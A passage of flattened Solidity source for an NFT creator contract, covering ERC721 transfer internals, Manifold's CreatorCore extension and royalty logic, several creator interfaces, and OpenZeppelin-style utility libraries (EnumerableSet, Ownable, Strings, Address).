_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165Checker.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol";
import "../extensions/ICreatorExtensionTokenURI.sol";
import "./ICreatorCore.sol";
/**
* @dev Core creator implementation
*/
abstract contract CreatorCore is ReentrancyGuard, ICreatorCore, ERC165 {
using Strings for uint256;
using EnumerableSet for EnumerableSet.AddressSet;
using AddressUpgradeable for address;
uint256 _tokenCount = 0;
// Track registered extensions data
EnumerableSet.AddressSet internal _extensions;
EnumerableSet.AddressSet internal _blacklistedExtensions;
mapping (address => address) internal _extensionPermissions;
mapping (address => bool) internal _extensionApproveTransfers;
// For tracking which extension a token was minted by
mapping (uint256 => address) internal _tokensExtension;
// The baseURI for a given extension
mapping (address => string) private _extensionBaseURI;
mapping (address => bool) private _extensionBaseURIIdentical;
// The prefix for any tokens with a uri configured
mapping (address => string) private _extensionURIPrefix;
// Mapping for individual token URIs
mapping (uint256 => string) internal _tokenURIs;
// Royalty configurations
mapping (address => address payable[]) internal _extensionRoyaltyReceivers;
mapping (address => uint256[]) internal _extensionRoyaltyBPS;
mapping (uint256 => address payable[]) internal _tokenRoyaltyReceivers;
mapping (uint256 => uint256[]) internal _tokenRoyaltyBPS;
/**
* External interface identifiers for royalties
*/
/**
* @dev CreatorCore
*
* bytes4(keccak256('getRoyalties(uint256)')) == 0xbb3bafd6
*
* => 0xbb3bafd6 = 0xbb3bafd6
*/
bytes4 private constant _INTERFACE_ID_ROYALTIES_CREATORCORE = 0xbb3bafd6;
/**
* @dev Rarible: RoyaltiesV1
*
* bytes4(keccak256('getFeeRecipients(uint256)')) == 0xb9c4d9fb
* bytes4(keccak256('getFeeBps(uint256)')) == 0x0ebd4c7f
*
* => 0xb9c4d9fb ^ 0x0ebd4c7f = 0xb7799584
*/
bytes4 private constant _INTERFACE_ID_ROYALTIES_RARIBLE = 0xb7799584;
/**
* @dev Foundation
*
* bytes4(keccak256('getFees(uint256)')) == 0xd5a06d4c
*
* => 0xd5a06d4c = 0xd5a06d4c
*/
bytes4 private constant _INTERFACE_ID_ROYALTIES_FOUNDATION = 0xd5a06d4c;
/**
* @dev EIP-2981
*
* bytes4(keccak256("royaltyInfo(uint256,uint256,bytes)")) == 0x6057361d
*
* => 0x6057361d = 0x6057361d
*/
bytes4 private constant _INTERFACE_ID_ROYALTIES_EIP2981 = 0x6057361d;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(ICreatorCore).interfaceId || super.supportsInterface(interfaceId)
|| interfaceId == _INTERFACE_ID_ROYALTIES_CREATORCORE || interfaceId == _INTERFACE_ID_ROYALTIES_RARIBLE
|| interfaceId == _INTERFACE_ID_ROYALTIES_FOUNDATION || interfaceId == _INTERFACE_ID_ROYALTIES_EIP2981;
}
/**
* @dev Only allows registered extensions to call the specified function
*/
modifier extensionRequired() {
require(_extensions.contains(msg.sender), "Must be registered extension");
_;
}
/**
* @dev Only allows non-blacklisted extensions
*/
modifier nonBlacklistRequired(address extension) {
require(!_blacklistedExtensions.contains(extension), "Extension blacklisted");
_;
}
/**
* @dev See {ICreatorCore-getExtensions}.
*/
function getExtensions() external view override returns (address[] memory extensions) {
extensions = new address[](_extensions.length());
for (uint i = 0; i < _extensions.length(); i++) {
extensions[i] = _extensions.at(i);
}
return extensions;
}
/**
* @dev Register an extension
*/
function _registerExtension(address extension, string calldata baseURI, bool baseURIIdentical) internal {
require(extension != address(this), "Creator: Invalid");
require(extension.isContract(), "Creator: Extension must be a contract");
if (!_extensions.contains(extension)) {
_extensionBaseURI[extension] = baseURI;
_extensionBaseURIIdentical[extension] = baseURIIdentical;
emit ExtensionRegistered(extension, msg.sender);
_extensions.add(extension);
}
}
/**
* @dev Unregister an extension
*/
function _unregisterExtension(address extension) internal {
if (_extensions.contains(extension)) {
emit ExtensionUnregistered(extension, msg.sender);
_extensions.remove(extension);
}
}
/**
* @dev Blacklist an extension
*/
function _blacklistExtension(address extension) internal {
require(extension != address(this), "Cannot blacklist yourself");
if (_extensions.contains(extension)) {
emit ExtensionUnregistered(extension, msg.sender);
_extensions.remove(extension);
}
if (!_blacklistedExtensions.contains(extension)) {
emit ExtensionBlacklisted(extension, msg.sender);
_blacklistedExtensions.add(extension);
}
}
/**
* @dev Set base token uri for an extension
*/
function _setBaseTokenURIExtension(string calldata uri, bool identical) internal {
_extensionBaseURI[msg.sender] = uri;
_extensionBaseURIIdentical[msg.sender] = identical;
}
/**
* @dev Set token uri prefix for an extension
*/
function _setTokenURIPrefixExtension(string calldata prefix) internal {
_extensionURIPrefix[msg.sender] = prefix;
}
/**
* @dev Set token uri for a token of an extension
*/
function _setTokenURIExtension(uint256 tokenId, string calldata uri) internal {
require(_tokensExtension[tokenId] == msg.sender, "Invalid token");
_tokenURIs[tokenId] = uri;
}
/**
* @dev Set base token uri for tokens with no extension
*/
function _setBaseTokenURI(string memory uri) internal {
_extensionBaseURI[address(this)] = uri;
}
/**
* @dev Set token uri prefix for tokens with no extension
*/
function _setTokenURIPrefix(string calldata prefix) internal {
_extensionURIPrefix[address(this)] = prefix;
}
/**
* @dev Set token uri for a token with no extension
*/
function _setTokenURI(uint256 tokenId, string calldata uri) internal {
require(_tokensExtension[tokenId] == address(this), "Invalid token");
_tokenURIs[tokenId] = uri;
}
/**
* @dev Retrieve a token's URI
*/
function _tokenURI(uint256 tokenId) internal view returns (string memory) {
address extension = _tokensExtension[tokenId];
require(!_blacklistedExtensions.contains(extension), "Extension blacklisted");
if (bytes(_tokenURIs[tokenId]).length != 0) {
if (bytes(_extensionURIPrefix[extension]).length != 0) {
return string(abi.encodePacked(_extensionURIPrefix[extension],_tokenURIs[tokenId]));
}
return _tokenURIs[tokenId];
}
if (ERC165Checker.supportsInterface(extension, type(ICreatorExtensionTokenURI).interfaceId)) {
return ICreatorExtensionTokenURI(extension).tokenURI(address(this), tokenId);
}
if (!_extensionBaseURIIdentical[extension]) {
return string(abi.encodePacked(_extensionBaseURI[extension], tokenId.toString()));
} else {
return _extensionBaseURI[extension];
}
}
/**
* Get token extension
*/
function _tokenExtension(uint256 tokenId) internal view returns (address extension) {
extension = _tokensExtension[tokenId];
require(extension != address(this), "No extension for token");
require(!_blacklistedExtensions.contains(extension), "Extension blacklisted");
return extension;
}
/**
* Helper to get royalties for a token
*/
function _getRoyalties(uint256 tokenId) view internal returns (address payable[] storage, uint256[] storage) {
return (_getRoyaltyReceivers(tokenId), _getRoyaltyBPS(tokenId));
}
/**
* Helper to get royalty receivers for a token
*/
function _getRoyaltyReceivers(uint256 tokenId) view internal returns (address payable[] storage) {
if (_tokenRoyaltyReceivers[tokenId].length > 0) {
return _tokenRoyaltyReceivers[tokenId];
} else if (_extensionRoyaltyReceivers[_tokensExtension[tokenId]].length > 0) {
return _extensionRoyaltyReceivers[_tokensExtension[tokenId]];
}
return _extensionRoyaltyReceivers[address(this)];
}
/**
* Helper to get royalty basis points for a token
*/
function _getRoyaltyBPS(uint256 tokenId) view internal returns (uint256[] storage) {
if (_tokenRoyaltyBPS[tokenId].length > 0) {
return _tokenRoyaltyBPS[tokenId];
} else if (_extensionRoyaltyBPS[_tokensExtension[tokenId]].length > 0) {
return _extensionRoyaltyBPS[_tokensExtension[tokenId]];
}
return _extensionRoyaltyBPS[address(this)];
}
function _getRoyaltyInfo(uint256 tokenId, uint256 value) view internal returns (address receiver, uint256 amount, bytes memory data){
address payable[] storage receivers = _getRoyaltyReceivers(tokenId);
require(receivers.length <= 1, "More than 1 royalty receiver");
if (receivers.length == 0) {
return (address(this), 0, data);
}
return (receivers[0], _getRoyaltyBPS(tokenId)[0]*value/10000, data);
}
/**
* Set royalties for a token
*/
function _setRoyalties(uint256 tokenId, address payable[] calldata receivers, uint256[] calldata basisPoints) internal {
require(receivers.length == basisPoints.length, "Invalid input");
uint256 totalBasisPoints;
for (uint i = 0; i < basisPoints.length; i++) {
totalBasisPoints += basisPoints[i];
}
require(totalBasisPoints < 10000, "Invalid total royalties");
_tokenRoyaltyReceivers[tokenId] = receivers;
_tokenRoyaltyBPS[tokenId] = basisPoints;
emit RoyaltiesUpdated(tokenId, receivers, basisPoints);
}
/**
* Set royalties for all tokens of an extension
*/
function _setRoyaltiesExtension(address extension, address payable[] calldata receivers, uint256[] calldata basisPoints) internal {
require(receivers.length == basisPoints.length, "Invalid input");
uint256 totalBasisPoints;
for (uint i = 0; i < basisPoints.length; i++) {
totalBasisPoints += basisPoints[i];
}
require(totalBasisPoints < 10000, "Invalid total royalties");
_extensionRoyaltyReceivers[extension] = receivers;
_extensionRoyaltyBPS[extension] = basisPoints;
if (extension == address(this)) {
emit DefaultRoyaltiesUpdated(receivers, basisPoints);
} else {
emit ExtensionRoyaltiesUpdated(extension, receivers, basisPoints);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ICreatorCore.sol";
/**
* @dev Core ERC721 creator interface
*/
interface IERC721CreatorCore is ICreatorCore {
/**
* @dev mint a token with no extension. Can only be called by an admin.
* Returns tokenId minted
*/
function mintBase(address to) external returns (uint256);
/**
* @dev mint a token with no extension. Can only be called by an admin.
* Returns tokenId minted
*/
function mintBase(address to, string calldata uri) external returns (uint256);
/**
* @dev batch mint a token with no extension. Can only be called by an admin.
* Returns tokenId minted
*/
function mintBaseBatch(address to, uint16 count) external returns (uint256[] memory);
/**
* @dev batch mint a token with no extension. Can only be called by an admin.
* Returns tokenId minted
*/
function mintBaseBatch(address to, string[] calldata uris) external returns (uint256[] memory);
/**
* @dev mint a token. Can only be called by a registered extension.
* Returns tokenId minted
*/
function mintExtension(address to) external returns (uint256);
/**
* @dev mint a token. Can only be called by a registered extension.
* Returns tokenId minted
*/
function mintExtension(address to, string calldata uri) external returns (uint256);
/**
* @dev batch mint a token. Can only be called by a registered extension.
* Returns tokenIds minted
*/
function mintExtensionBatch(address to, uint16 count) external returns (uint256[] memory);
/**
* @dev batch mint a token. Can only be called by a registered extension.
* Returns tokenId minted
*/
function mintExtensionBatch(address to, string[] calldata uris) external returns (uint256[] memory);
/**
* @dev burn a token. Can only be called by token owner or approved address.
* On burn, calls back to the registered extension's onBurn method
*/
function burn(uint256 tokenId) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author: manifold.xyz
import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721Creator compliant extension contracts.
*/
interface IERC721CreatorMintPermissions is IERC165 {
/**
* @dev get approval to mint
*/
function approveMint(address extension, address to, uint256 tokenId) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author: manifold.xyz
import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
/**
* @dev Your extension is required to implement this interface if it wishes
* to receive the onBurn callback whenever a token the extension created is
* burned
*/
interface IERC721CreatorExtensionBurnable is IERC165 {
/**
* @dev callback handler for burn events
*/
function onBurn(address owner, uint256 tokenId) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author: manifold.xyz
import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
/**
* Implement this if you want your extension to approve a transfer
*/
interface IERC721CreatorExtensionApproveTransfer is IERC165 {
/**
* @dev Set whether or not the creator will check the extension for approval of token transfer
*/
function setApproveTransfer(address creator, bool enabled) external;
/**
* @dev Called by creator contract to approve a transfer
*/
function approveTransfer(address from, address to, uint256 tokenId) external returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
/**
* @dev Interface for admin control
*/
interface IAdminControl is IERC165 {
event AdminApproved(address indexed account, address indexed sender);
event AdminRevoked(address indexed account, address indexed sender);
/**
* @dev gets address of all admins
*/
function getAdmins() external view returns (address[] memory);
/**
* @dev add an admin. Can only be called by contract owner.
*/
function approveAdmin(address admin) external;
/**
* @dev remove an admin. Can only be called by contract owner.
*/
function revokeAdmin(address admin) external;
/**
* @dev checks whether or not given address is an admin
* Returns True if they are
*/
function isAdmin(address admin) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
